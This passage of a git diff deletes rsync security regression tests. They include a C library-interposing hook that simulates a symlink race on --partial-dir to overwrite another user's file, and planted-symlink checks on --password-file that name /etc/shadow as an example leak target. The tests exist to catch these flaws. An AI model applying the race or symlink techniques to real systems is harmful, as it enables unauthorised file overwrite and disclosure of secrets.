skip:\n-    # the hook killing the process under test is a bug in the hook, and reporting\n-    # it as \"not loaded\" is exactly how a SIGSEGV on AlmaLinux 8 hid for weeks --\n-    # the marker is written by the hook, so a crash before that looks identical\n-    # to the hook never having loaded.\n-    if result.returncode is not None and result.returncode < 0:\n-        test_fail(f'rsync died by signal {-result.returncode} under the '\n-                  f'LD_PRELOAD hook ({ctx})')\n-    if not markers['load'].exists():\n-        test_skipped(f'LD_PRELOAD hook was not loaded ({ctx})')\n-    if not markers['eacces'].exists():\n-        test_fail('positive control failed: receiver did not open the existing '\n-                  f'partial file with O_CREAT ({ctx})')\n-\n-    # The escape check must come before the ownership-walk control below: on a\n-    # vulnerable build no walk runs at all, and that has to be reported as the\n-    # escape it is rather than as an inconclusive control failure.\n-    observed = (secret / 'victim').read_bytes()\n-    if observed == new_source:\n-        test_fail('EACCES recovery dropped partial-dir ownership policy and '\n-                  f'overwrote a different file through the raced symlink ({ctx})')\n-    if observed != secret_data:\n-        test_fail(f'outside-policy target has unexpected contents ({ctx})')\n-    if markers['retry'].exists():\n-        test_fail('an unconfined retry opened the victim through the raced '\n-                  f'partial-dir symlink ({ctx})')\n-\n-    # Anti-vacuity: nothing was overwritten -- prove that is the ownership walk\n-    # refusing the swap, not the scenario failing to arm.\n-    if not markers['foreign'].exists():\n-        test_fail('inconclusive: the recovery never inspected the raced '\n-                  f'partial-dir symlink, so no ownership check ran ({ctx})')\n-\n-\n-run()\n-print('protected_regular compatibility retry retained partial-dir ownership policy')\ndiff --git a/testsuite/partial-protected-regular-retry-policy_test.py b/testsuite/partial-protected-regular-retry-policy_test.py\ndeleted file mode 100644\nindex a6843cb..0000000\n--- a/testsuite/partial-protected-regular-retry-policy_test.py\n+++ /dev/null\n@@ -1,265 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"PoC: EACCES recovery must retain partial-dir ownership policy.\n-\n-The one-inplace partial path is initially opened through the operator ownership\n-walk.  Model an EACCES from that O_CREAT open, then replace the partial\n-directory with an attacker symlink.  The production recovery opens drop to the\n-ordinary resolver, which follows the new parent without an ownership check and\n-can overwrite a different module file through the returned descriptor.  On\n-Linux the first recovery is the fs.protected_regular compatibility retry; the\n-generic read-only-file chmod-and-open recovery has the same policy requirement.\n-\"\"\"\n-\n-import os\n-import platform\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, test_fail, test_skipped,\n-)\n-\n-\n-if platform.system() != 'Darwin':\n-    test_skipped('deterministic partial EACCES recovery uses dyld interposing')\n-\n-base = SCRATCHDIR / 'partial-protected-regular-retry-policy'\n-rmtree(base)\n-src = base / 'src'\n-mod = base / 'mod'\n-partial = mod / 'pdir'\n-held = mod / '.pdir-held'\n-secret = mod / 'secret'\n-load_marker = base / 'hook-loaded'\n-eacces_marker = base / 'operator-open-eacces'\n-retry_marker = base / 'unconfined-retry-open'\n-foreign_check_marker = base / 'owner-check-would-refuse'\n-for directory in (src, partial, secret):\n-    directory.mkdir(parents=True)\n-\n-old_partial = b'OLD-PARTIAL-BASIS-' * 4096\n-new_source = b'NEW-REMOTE-PAYLOAD' * 4096\n-secret_data = b'OTHER-USER-SECRET!' * 4096\n-if not (len(old_partial) == len(new_source) == len(secret_data)):\n-    raise AssertionError('PoC payloads must be equal length')\n-(partial / 'victim').write_bytes(old_partial)\n-(secret / 'victim').write_bytes(secret_data)\n-(src / 'victim').write_bytes(new_source)\n-\n-hook_src = base / 'partial-protected-retry-hook.c'\n-hook_lib = base / 'partial-protected-retry-hook.dylib'\n-hook_src.write_text(r'''\n-#include <sys/stat.h>\n-#include <sys/syscall.h>\n-#include <errno.h>\n-#include <fcntl.h>\n-#include <limits.h>\n-#include <stdarg.h>\n-#include <stdio.h>\n-#include <stdlib.h>\n-#include <string.h>\n-#include <unistd.h>\n-\n-static int swapped;\n-\n-static void mark(const char *path)\n-{\n-    int fd;\n-    if (path && (fd = (int)syscall(SYS_open, path,\n-                                   O_WRONLY | O_CREAT | O_EXCL, 0600)) >= 0)\n-        close(fd);\n-}\n-\n-static int fd_path_is(int fd, const char *wanted)\n-{\n-    char path[PATH_MAX];\n-    return wanted && fcntl(fd, F_GETPATH, path) == 0\n-        && strcmp(path, wanted) == 0;\n-}\n-\n-static void restore_partial(void)\n-{\n-    const char *partial = getenv(\"RSYNC_PARTIAL_RETRY_DIR\");\n-    const char *held = getenv(\"RSYNC_PARTIAL_RETRY_HELD\");\n-    if (swapped && partial && held) {\n-        unlink(partial);\n-        if (rename(held, partial) == 0)\n-            swapped = 0;\n-    }\n-}\n-\n-static int hook_openat(int dfd, const char *path, int flags, ...)\n-{\n-    const char *partial = getenv(\"RSYNC_PARTIAL_RETRY_DIR\");\n-    const char *held = getenv(\"RSYNC_PARTIAL_RETRY_HELD\");\n-    const char *secret = getenv(\"RSYNC_PARTIAL_RETRY_SECRET\");\n-    mode_t mode = 0;\n-    int fd, saved_errno;\n-\n-    if (flags & O_CREAT) {\n-        va_list ap;\n-        va_start(ap, flags);\n-        mode = (mode_t)va_arg(ap, int);\n-        va_end(ap);\n-    }\n-\n-    /* Model Linux fs.protected_regular: the operator-walk O_CREAT open of the\n-     * existing partial leaf gets EACCES.  The attacker swaps the parent in the\n-     * exact interval before rsync's compatibility retry. */\n-    if (!swapped && path && strcmp(path, \"victim\") == 0\n-        && (flags & O_ACCMODE) == O_WRONLY && (flags & O_CREAT)\n-        && fd_path_is(dfd, partial)) {\n-        if (rename(partial, held) == 0 && symlink(\"secret\", partial) == 0) {\n-            swapped = 1;\n-            mark(getenv(\"RSYNC_PARTIAL_RETRY_EACCES_MARKER\"));\n-            errno = EACCES;\n-            return -1;\n-        }\n-        restore_partial();\n-    }\n-\n-    fd = (int)syscall(SYS_openat, dfd, path, flags, mode);\n-    saved_errno = errno;\n-\n-    /* The vulnerable retry omits O_CREAT and resolves the swapped parent via\n-     * the ordinary path walker.  Keep its returned fd alive but restore the\n-     * pathname immediately so later cleanup cannot hide the write target. */\n-    if (swapped && fd >= 0 && path && strcmp(path, \"victim\") == 0\n-        && (flags & O_ACCMODE) == O_WRONLY && !(flags & O_CREAT)\n-        && fd_path_is(dfd, secret)) {\n-        mark(getenv(\"RSYNC_PARTIAL_RETRY_OPEN_MARKER\"));\n-        restore_partial();\n-    }\n-    errno = saved_errno;\n-    return fd;\n-}\n-\n-static int hook_open(const char *path, int flags, ...)\n-{\n-    const char *partial = getenv(\"RSYNC_PARTIAL_RETRY_DIR\");\n-    const char *held = getenv(\"RSYNC_PARTIAL_RETRY_HELD\");\n-    mode_t mode = 0;\n-    int fd, saved_errno;\n-\n-    if (flags & O_CREAT) {\n-        va_list ap;\n-        va_start(ap, flags);\n-        mode = (mode_t)va_arg(ap, int);\n-        va_end(ap);\n-    }\n-\n-    /* Public releases use plain open() for the first partial-file attempt.\n-     * Trigger the same EACCES/swap oracle so they serve as behavioral\n-     * controls: their older retry does not reopen the partial path. */\n-    if (!swapped && path && strstr(path, \"pdir/victim\")\n-        && (flags & O_ACCMODE) == O_WRONLY && (flags & O_CREAT)) {\n-        if (rename(partial, held) == 0 && symlink(\"secret\", partial) == 0) {\n-            swapped = 1;\n-            mark(getenv(\"RSYNC_PARTIAL_RETRY_EACCES_MARKER\"));\n-            errno = EACCES;\n-            return -1;\n-        }\n-        restore_partial();\n-    }\n-\n-    fd = (int)syscall(SYS_open, path, flags, mode);\n-    saved_errno = errno;\n-\n-    /* A local receiver uses the same vulnerable policy transition but its\n-     * final fallback is plain open().  Restore the pathname after pinning the\n-     * redirected descriptor so later partial-file finalization cannot move\n-     * the target and obscure which file received the payload. */\n-    if (swapped && fd >= 0 && path && strstr(path, \"pdir/victim\")\n-        && (flags & O_ACCMODE) == O_WRONLY && !(flags & O_CREAT)) {\n-        mark(getenv(\"RSYNC_PARTIAL_RETRY_OPEN_MARKER\"));\n-        restore_partial();\n-    }\n-    errno = saved_errno;\n-    return fd;\n-}\n-\n-static int hook_fstatat(int dfd, const char *path, struct stat *st, int flags)\n-{\n-    int rc = (int)syscall(SYS_fstatat64, dfd, path, st, flags);\n-    int saved_errno = errno;\n-    /* If the retry retained the operator walk it would inspect the raced\n-     * symlink.  Model the attacker as a different uid so that check refuses it. */\n-    if (rc == 0 && swapped && path && strcmp(path, \"pdir\") == 0\n-        && S_ISLNK(st->st_mode)) {\n-        st->st_uid = geteuid() + 1;\n-        mark(getenv(\"RSYNC_PARTIAL_RETRY_FOREIGN_MARKER\"));\n-    }\n-    errno = saved_errno;\n-    return rc;\n-}\n-\n-__attribute__((constructor)) static void hook_loaded(void)\n-{\n-    mark(getenv(\"RSYNC_PARTIAL_RETRY_LOAD_MARKER\"));\n-}\n-\n-__attribute__((destructor)) static void hook_unload(void)\n-{\n-    restore_partial();\n-}\n-\n-__attribute__((used)) static struct {\n-    const void *replacement;\n-    const void *replacee;\n-} interposers[] __attribute__((section(\"__DATA,__interpose\"))) = {\n-    { (const void *)hook_open, (const void *)open },\n-    { (const void *)hook_openat, (const void *)openat },\n-    { (const void *)hook_fstatat, (const void *)fstatat },\n-};\n-''')\n-\n-build = subprocess.run(\n-    ['cc', '-dynamiclib', '-o', str(hook_lib), str(hook_src)],\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-if build.returncode != 0:\n-    test_skipped(f'cannot build dyld partial retry interposer: {build.stdout!r}')\n-\n-env_assignments = {\n-    'DYLD_INSERT_LIBRARIES': str(hook_lib),\n-    'RSYNC_PARTIAL_RETRY_DIR': str(partial),\n-    'RSYNC_PARTIAL_RETRY_HELD': str(held),\n-    'RSYNC_PARTIAL_RETRY_SECRET': str(secret),\n-    'RSYNC_PARTIAL_RETRY_LOAD_MARKER': str(load_marker),\n-    'RSYNC_PARTIAL_RETRY_EACCES_MARKER': str(eacces_marker),\n-    'RSYNC_PARTIAL_RETRY_OPEN_MARKER': str(retry_marker),\n-    'RSYNC_PARTIAL_RETRY_FOREIGN_MARKER': str(foreign_check_marker),\n-}\n-run_env = os.environ.copy()\n-run_env.update(env_assignments)\n-\n-result = subprocess.run(\n-    rsync_argv('-rtI', '--partial', '--partial-dir=pdir',\n-               '--no-inc-recursive', f'{src}/', f'{mod}/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, env=run_env)\n-\n-if held.exists():\n-    if partial.is_symlink():\n-        partial.unlink()\n-    held.rename(partial)\n-if not load_marker.exists():\n-    test_fail(\n-        'positive control failed: dyld retry interposer was not loaded: '\n-        f'rc={result.returncode}, output={result.stdout!r}')\n-if not eacces_marker.exists():\n-    test_fail(\n-        'positive control failed: receiver did not open the existing partial '\n-        f'file with O_CREAT (rc={result.returncode}, output={result.stdout!r})')\n-observed = (secret / 'victim').read_bytes()\n-if observed == new_source:\n-    test_fail(\n-        'EACCES recovery dropped partial-dir ownership policy and overwrote a '\n-        'different module file through the raced partial-dir symlink')\n-if observed != secret_data:\n-    test_fail(f'outside-policy target has unexpected contents after retry: '\n-              f'rc={result.returncode}, output={result.stdout!r}')\n-# Anti-vacuity, checked only after the escape assertions above: a vulnerable\n-# build runs no ownership walk at all, so this must not pre-empt them.\n-if not foreign_check_marker.exists():\n-    test_fail('inconclusive: the recovery never inspected the raced partial-dir '\n-              f'symlink, so no ownership check ran: rc={result.returncode}, '\n-              f'output={result.stdout!r}')\n-print('EACCES recovery retained partial-dir ownership policy')\ndiff --git a/testsuite/partial_nowrite_test.py b/testsuite/partial_nowrite_test.py\ndeleted file mode 100644\nindex 107a6ed..0000000\n--- a/testsuite/partial_nowrite_test.py\n+++ /dev/null\n@@ -1,70 +0,0 @@\n-#!/usr/bin/env python3\n-#\n-# Test that --partial and --delay-updates work as expected when then\n-# permissions of the destination file prevent writing to it.\n-\n-import os\n-from pathlib import Path\n-import shutil\n-import subprocess\n-import sys\n-import tempfile\n-\n-from rsyncfns import make_data_file, cp_p, makepath, checkit, RSYNC, TMPDIR, get_testuid, get_rootuid\n-\n-BASEDIR = TMPDIR\n-\n-FROMDIR = BASEDIR / 'from'\n-TODIR = BASEDIR / 'to'\n-\n-makepath(FROMDIR)\n-makepath(TODIR)\n-\n-makepath(FROMDIR)\n-make_data_file(FROMDIR / 'some_file', 1 * 1024 * 1024)\n-os.chmod(FROMDIR / 'some_file', 0o444)\n-\n-makepath(TODIR / '.~tmp~')\n-os.chmod(TODIR / '.~tmp~', 0o700)\n-cp_p(FROMDIR / 'some_file', TODIR / '.~tmp~' / 'some_file')\n-\n-is_root = get_testuid() == get_rootuid()\n-\n-# As root the read-only dest temp wouldn't deny the write (root bypasses DAC),\n-# so the EACCES path under test never fires.  On Linux we can drop\n-# CAP_DAC_OVERRIDE with setpriv inside a private mount namespace to force it;\n-# where that isn't possible -- non-Linux, Python < 3.12, no mount privilege, or\n-# a build dir the cap-dropped root can't even traverse (owned by an\n-# unprivileged user with restrictive perms, e.g. a CI tree owned by the ssh\n-# user at 0700) -- just run as root: the transfer still succeeds, it merely\n-# doesn't exercise the chmod-retry path here (non-root runs do).\n-_cwd_st = os.stat(os.getcwd())\n-_cwd_traversable = ((_cwd_st.st_uid == 0 and _cwd_st.st_mode & 0o100)\n-                    or _cwd_st.st_mode & 0o001)\n-if (is_root and sys.platform == 'linux' and hasattr(os, 'unshare')\n-        and shutil.which('setpriv') and _cwd_traversable):\n-    try:\n-        cwd = Path(os.getcwd())\n-        chown_target = None\n-        for p in reversed(cwd.parents):\n-            st = p.stat()\n-            if not (st.st_uid == 0 or st.st_mode & 0o005):\n-                chown_target = p\n-                break\n-        if chown_target is not None:\n-            os.unshare(os.CLONE_NEWNS)\n-            subprocess.run(['mount', '--make-rprivate', '/'], check=True)\n-            tempdir = tempfile.mkdtemp()\n-            subprocess.run(['mount', '--bind', cwd, tempdir], check=True)\n-            subprocess.run(['mount', '-t', 'tmpfs', '-o', 'mode=0755', 'tmpfs', chown_target], check=True)\n-            makepath(cwd)\n-            subprocess.run(['mount', '--bind', tempdir, cwd], check=True)\n-            subprocess.run(['umount', tempdir], check=True)\n-            os.rmdir(tempdir)\n-        import rsyncfns\n-        rsyncfns.RSYNC = \"setpriv --inh-caps -all --bounding-set -all \" + RSYNC\n-    except (OSError, subprocess.CalledProcessError):\n-        pass  # mount namespace denied (unprivileged container) -- run as root\n-\n-\n-checkit(['-avv', '--partial', '--delay-updates', f'{FROMDIR}/', f'{TODIR}/'], FROMDIR, TODIR)\ndiff --git a/testsuite/partial_test.py b/testsuite/partial_test.py\ndeleted file mode 100644\nindex 1c8e953..0000000\n--- a/testsuite/partial_test.py\n+++ /dev/null\n@@ -1,139 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of --partial / --partial-dir at depth and across directory\n-boundaries.\n-\n---partial keeps a partially transferred file so a later run can resume it.\n---partial-dir=DIR keeps the partial in DIR instead of the destination file:\n-a RELATIVE dir is created in (and removed from) each destination file's own\n-directory; an ABSOLUTE dir is a reserved location that holds partials by\n-basename. All of this is parent- and cross-directory path resolution -- what\n-the resolver restructure rewrites -- so exercise it on a file several levels\n-deep, with the absolute partial-dir kept OUTSIDE the destination tree.\n-\"\"\"\n-\n-import os\n-import signal\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, TODIR,\n-    assert_same, make_data_file, makepath, rmtree, rsync_argv, run_rsync,\n-    test_fail,\n-)\n-\n-src = FROMDIR\n-deepdir = os.path.join('d1', 'd2', 'd3')\n-deep = os.path.join(deepdir, 'f3')\n-FULL = 12_000_000\n-\n-\n-def seed_big():\n-    rmtree(src)\n-    rmtree(TODIR)\n-    makepath(src / deepdir)\n-    make_data_file(src / deep, FULL)\n-\n-\n-def is_prefix(partial) -> bool:\n-    pb = partial.read_bytes()\n-    return 0 < len(pb) < FULL and (src / deep).read_bytes()[:len(pb)] == pb\n-\n-\n-def interrupt_transfer(extra_args, partial_path):\n-    \"\"\"Start a deliberately slow transfer, SIGTERM it once the receiver's\n-    in-progress temp (.f3.XXXXXX) has some data, and wait for `partial_path`\n-    (where this mode keeps the partial) to materialise.\n-\n-    The bandwidth limit is low so the multi-second transfer cannot finish\n-    before we interrupt it -- important under a loaded parallel run (-j16),\n-    where the polling loop can lag by seconds. We then poll for the partial,\n-    since rsync moves it into place from its exit_cleanup handler.\"\"\"\n-    proc = subprocess.Popen(\n-        rsync_argv('-a', '--no-whole-file', '--bwlimit=400', *extra_args,\n-                   f'{src}/', f'{TODIR}/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    tdir = TODIR / deepdir\n-    caught = False\n-    deadline = time.monotonic() + 30\n-    while time.monotonic() < deadline:\n-        if proc.poll() is not None:\n-            break                       # exited before we caught it\n-        if tdir.is_dir():\n-            temps = [p for p in tdir.glob('.f3.*')\n-                     if p.is_file() and p.stat().st_size > 0]\n-            if temps:\n-                caught = True\n-                break\n-        time.sleep(0.02)\n-    proc.send_signal(signal.SIGTERM)\n-    proc.wait()\n-    if not caught:\n-        test_fail(\"never caught an in-progress temp (transfer finished too \"\n-                  \"fast to interrupt)\")\n-    # rsync moves the partial into place from exit_cleanup; give it a moment.\n-    pdeadline = time.monotonic() + 5\n-    while time.monotonic() < pdeadline:\n-        if partial_path.is_file() and partial_path.stat().st_size > 0:\n-            return\n-        time.sleep(0.05)\n-\n-\n-# --- 1. --partial (no dir): partial kept in the dest file itself, at depth --\n-seed_big()\n-interrupt_transfer(['--partial'], TODIR / deep)\n-if not (TODIR / deep).is_file() or not is_prefix(TODIR / deep):\n-    test_fail(\"--partial did not leave a valid partial in the dest file\")\n-run_rsync('-a', '--partial', '--no-whole-file', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / deep, src / deep, label='--partial resume')\n-\n-# --- 2. relative --partial-dir at depth: deterministic clean pre-seed -------\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src / deepdir, TODIR / deepdir / '.rsync-partial')\n-make_data_file(src / deep, 1_000_000)\n-full = (src / deep).read_bytes()\n-(TODIR / deepdir / '.rsync-partial' / 'f3').write_bytes(full[:400_000])\n-run_rsync('-a', '--partial-dir=.rsync-partial', '--no-whole-file',\n-          f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / deep, src / deep, label='rel partial-dir preseed')\n-if (TODIR / deepdir / '.rsync-partial').exists():\n-    test_fail(\"relative --partial-dir not removed after the partial was used\")\n-\n-# --- 3. relative --partial-dir at depth: interrupt then resume -------------\n-seed_big()\n-part = TODIR / deepdir / '.rsync-partial' / 'f3'\n-interrupt_transfer(['--partial-dir=.rsync-partial'], part)\n-if not part.is_file() or not is_prefix(part):\n-    test_fail(\"relative --partial-dir did not keep a valid partial at depth\")\n-run_rsync('-a', '--partial-dir=.rsync-partial', '--no-whole-file',\n-          f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / deep, src / deep, label='rel partial-dir resume')\n-\n-# --- 4. absolute --partial-dir OUTSIDE the tree (cross-dir): interrupt write -\n-ext = SCRATCHDIR / 'partials'      # sibling of from/ and to/ -- outside both\n-rmtree(ext)\n-ext.mkdir()\n-seed_big()\n-interrupt_transfer([f'--partial-dir={ext}'], ext / 'f3')\n-if not (ext / 'f3').is_file() or not is_prefix(ext / 'f3'):\n-    test_fail(\"absolute --partial-dir did not write the partial to the \"\n-              \"outside-tree dir\")\n-\n-# --- 5. absolute --partial-dir delta resume completes (regression guard) ----\n-# A delta (--no-whole-file) resume from an absolute, outside-tree partial-dir\n-# used to fail whole-file verification forever: the receiver couldn't open the\n-# absolute basis, so matched blocks were dropped from the verify checksum.\n-rmtree(src)\n-rmtree(TODIR)\n-rmtree(ext)\n-makepath(src / deepdir, ext)\n-make_data_file(src / deep, 1_000_000)\n-(ext / 'f3').write_bytes((src / deep).read_bytes()[:400_000])   # clean prefix\n-run_rsync('-a', f'--partial-dir={ext}', '--no-whole-file', f'{src}/', f'{TODIR}/')\n-assert_same(TODIR / deep, src / deep, label='abs partial-dir delta resume')\n-if (ext / 'f3').exists():\n-    test_fail(\"absolute --partial-dir basis was not consumed after a \"\n-              \"successful delta resume\")\n-\n-print(\"partial: --partial + relative/absolute --partial-dir verified at depth\")\ndiff --git a/testsuite/password-file-first-line_test.py b/testsuite/password-file-first-line_test.py\ndeleted file mode 100644\nindex 5af81c2..0000000\n--- a/testsuite/password-file-first-line_test.py\n+++ /dev/null\n@@ -1,70 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Only the first line of --password-file is used, for files and stdin.\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, start_test_daemon,\n-    test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12904\n-USER = 'tuser'\n-PASSWORD = b'secretpass'\n-\n-base = SCRATCHDIR / 'password-file-first-line'\n-rmtree(base)\n-src = base / 'src'\n-dest = base / 'dest'\n-makepath(src)\n-(src / 'payload').write_text('regression test\\n')\n-secrets = base / 'secrets'\n-secrets.write_bytes(USER.encode() + b':' + PASSWORD + b'\\n')\n-secrets.chmod(0o600)\n-conf = write_daemon_conf([\n-    ('auth', {'path': dest, 'read only': 'no',\n-              'auth users': USER, 'secrets file': secrets}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-userurl = url.replace('rsync://', f'rsync://{USER}@', 1)\n-\n-cases = (\n-    ('LF', PASSWORD + b'\\nignored\\n', True),\n-    ('CRLF', PASSWORD + b'\\r\\nignored\\r\\n', True),\n-    ('empty-file', b'', False),\n-    ('empty-first-line', b'\\n' + PASSWORD + b'\\n', False),\n-    ('no-final-newline', PASSWORD, True),\n-)\n-\n-for source in ('file', 'stdin'):\n-    for name, contents, succeeds in cases:\n-        rmtree(dest)\n-        makepath(dest)\n-        args = ['-a', f'{src}/', f'{userurl}auth/']\n-        if source == 'file':\n-            pwfile = base / f'{name}.password'\n-            pwfile.write_bytes(contents)\n-            pwfile.chmod(0o600)\n-            args.insert(1, f'--password-file={pwfile}')\n-            stdin = subprocess.DEVNULL\n-        else:\n-            args.insert(1, '--password-file=-')\n-            stdin = subprocess.PIPE\n-        proc = subprocess.run(rsync_argv(*args), input=contents if source == 'stdin' else None,\n-                              stdin=stdin if source == 'file' else None,\n-                              stdout=subprocess.DEVNULL, stderr=subprocess.PIPE,\n-                              text=False, timeout=20,\n-                              env={**os.environ, 'RSYNC_PASSWORD':\n-                                   'wrong-fallback' if succeeds else PASSWORD.decode()})\n-        passed = proc.returncode == 0\n-        if passed != succeeds:\n-            test_fail(f'{source}/{name}: expected success={succeeds}, '\n-                      f'rc={proc.returncode}, stderr={proc.stderr!r}')\n-\n-        if not succeeds and (proc.returncode != 1\n-                             or b'failed to read a password' not in proc.stderr):\n-            test_fail(f'{source}/{name}: expected password read failure, '\n-                      f'rc={proc.returncode}, stderr={proc.stderr!r}')\n-\n-print('password-file: first-line behavior matches for files and stdin')\ndiff --git a/testsuite/password-file-symlink_test.py b/testsuite/password-file-symlink_test.py\ndeleted file mode 100644\nindex 596035f..0000000\n--- a/testsuite/password-file-symlink_test.py\n+++ /dev/null\n@@ -1,155 +0,0 @@\n-#!/usr/bin/env python3\n-# --password-file=PATH must not follow planted symlinks at attacker-\n-# controlled path components.\n-#\n-# Threat: a privileged client runs\n-# rsync with --password-file=PATH where PATH lives in an attacker-\n-# influenceable directory. A planted symlink redirects the read to an\n-# arbitrary file (e.g. /etc/shadow); rsync reads the symlinked content and\n-# sends it as the daemon auth response. A malicious daemon (or simply\n-# error/timing channels) observes the leaked content.\n-#\n-# The leak signal in this test is direct: the daemon is configured with a\n-# known correct password, and the planted symlink points at a victim file\n-# whose content IS that correct password. With the vulnerability rsync\n-# reads the victim, sends the correct password, and the daemon accepts ->\n-# transfer SUCCEEDS (returncode 0) -> LEAK observed. With the fix the\n-# planted symlink is refused, rsync sends no password, and auth fails ->\n-# transfer fails (returncode != 0).\n-#\n-# Both leaf and parent-component variants exercised (the parent case is\n-# the /tmp/somedir/ class that plain O_NOFOLLOW does NOT defend).\n-#\n-# Requires root (to lchown the planted symlink to a non-self uid -- the\n-# attacker simulation); skips otherwise.\n-\n-import os\n-import pwd\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, make_tree, makepath, rmtree, rsync_argv,\n-    start_test_daemon, test_fail, test_skipped, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12902\n-USER = 'tuser'\n-CORRECT_PASSWORD = 'correctpass'\n-\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a symlink owned by a non-self uid \"\n-                 \"(the attacker simulation)\")\n-\n-NOBODY_UID = None\n-for name in ('nobody', 'nfsnobody', 'daemon'):\n-    try:\n-        u = pwd.getpwnam(name).pw_uid\n-        if u != 0 and u != os.geteuid():\n-            NOBODY_UID = u\n-            break\n-    except KeyError:\n-        continue\n-if NOBODY_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-# Match daemon-auth_test.py: prevent rsync's interactive getpass() fallback\n-# if no password is read.\n-os.environ['RSYNC_PASSWORD'] = 'env-fallback-wrong'\n-\n-# Daemon setup\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=1)\n-\n-authdir = SCRATCHDIR / 'authdest'\n-secrets = SCRATCHDIR / 'rsyncd.secrets'\n-secrets.write_text(f'{USER}:{CORRECT_PASSWORD}\\n')\n-secrets.chmod(0o600)\n-\n-conf = write_daemon_conf([\n-    ('auth', {'path': authdir, 'read only': 'no',\n-              'auth users': USER, 'secrets file': secrets}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-userurl = url.replace('rsync://', f'rsync://{USER}@', 1)\n-\n-# Victim file the attacker wants rsync to read. Owned by us, mode 0600.\n-# Crucially: content == the correct daemon password, so a SUCCESSFUL\n-# transfer is the leak signal.\n-victim = SCRATCHDIR / 'victim_password'\n-victim.write_text(CORRECT_PASSWORD + '\\n')\n-victim.chmod(0o600)\n-\n-\n-def push_with_pwfile(pwfile_path):\n-    \"\"\"Run an rsync push via the daemon with --password-file=pwfile_path.\"\"\"\n-    rmtree(authdir)\n-    makepath(authdir)\n-    return subprocess.run(\n-        rsync_argv('-a', f'--password-file={pwfile_path}',\n-                   f'{src}/', f'{userurl}auth/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True)\n-\n-\n-# ---------------------------------------------------------------------------\n-# Sanity: a real password file with the correct password authenticates.\n-# Demonstrates the test machinery: success == leak when we later use a planted\n-# symlink that resolves to this same content.\n-# ---------------------------------------------------------------------------\n-real_pwfile = SCRATCHDIR / 'real_pwfile'\n-real_pwfile.write_text(CORRECT_PASSWORD + '\\n')\n-real_pwfile.chmod(0o600)\n-\n-sanity = push_with_pwfile(real_pwfile)\n-if sanity.returncode != 0:\n-    test_fail(\n-        \"sanity check failed: a non-symlinked password file with the correct \"\n-        f\"password could not authenticate. stderr: {sanity.stderr!r}\")\n-\n-\n-# ---------------------------------------------------------------------------\n-# LEAF plant.\n-# ---------------------------------------------------------------------------\n-plants = SCRATCHDIR / 'plants'\n-rmtree(plants); plants.mkdir()\n-leaf_plant = plants / 'pwfile_leaf'\n-os.symlink(victim, leaf_plant)\n-os.lchown(leaf_plant, NOBODY_UID, NOBODY_UID)\n-\n-leaf = push_with_pwfile(leaf_plant)\n-if leaf.returncode == 0:\n-    test_fail(\n-        f\"--password-file followed a planted LEAF symlink (owned by uid \"\n-        f\"{NOBODY_UID}): rsync read {victim} via the symlink and sent its \"\n-        f\"content as the auth password; the daemon accepted -> transfer \"\n-        f\"succeeded. This is a content-disclosure primitive (the leaked \"\n-        f\"bytes are sent on the wire). Fix: refuse planted symlinks at \"\n-        f\"--password-file.\")\n-\n-\n-# ---------------------------------------------------------------------------\n-# PARENT-component plant.\n-# ---------------------------------------------------------------------------\n-real_target = plants / 'parent_real_target'\n-real_target.mkdir()\n-(real_target / 'victim_in_target').write_text(CORRECT_PASSWORD + '\\n')\n-os.chmod(real_target / 'victim_in_target', 0o600)\n-\n-parent_plant = plants / 'parent_link'\n-os.symlink(real_target, parent_plant)\n-os.lchown(parent_plant, NOBODY_UID, NOBODY_UID)\n-\n-# --password-file=$parent_plant/victim_in_target. Parent is the symlink; the\n-# kernel resolves the parent and reads victim_in_target inside. Plain O_NOFOLLOW\n-# does NOT defend (leaf-only); only the path walk with parent-symlink\n-# ownership checks defends here.\n-parent = push_with_pwfile(parent_plant / 'victim_in_target')\n-if parent.returncode == 0:\n-    test_fail(\n-        f\"--password-file followed a planted PARENT-component symlink (owned \"\n-        f\"by uid {NOBODY_UID}): {parent_plant} -> {real_target} was traversed \"\n-        f\"and rsync read victim_in_target via the planted parent; the daemon \"\n-        f\"accepted the leaked password -> transfer succeeded. This is the \"\n-        \"/tmp/somedir/-class parent-flip case. Fix: per-component path walk \"\n-        \"refusing parent symlinks owned by untrusted uids.\")\ndiff --git a/testsuite/peer-legacy-implied-delete-scope_test.py b/testsuite/peer-legacy-implied-delete-scope_test.py\ndeleted file mode 100644\nindex 7f6c350..0000000\n--- a/testsuite/peer-legacy-implied-delete-scope_test.py\n+++ /dev/null\n@@ -1,122 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Protocol 29 must not let a sender enlarge scoped --delete.\n-\n-The protocol-30 receiver downgrades an implied parent that a malicious sender\n-marks as a content directory.  The legacy branch has no XMIT_NO_CONTENT_DIR\n-bit and currently trusts XMIT_TOP_DIR, even though the receiver's implied\n-filter says that the directory is only a parent of the requested leaf.\n-\"\"\"\n-\n-import socket\n-import subprocess\n-import threading\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, makepath, require_tcp, rmtree, rsync_argv,\n-    test_fail,\n-)\n-import rsync_proto as rp\n-\n-\n-PORT = 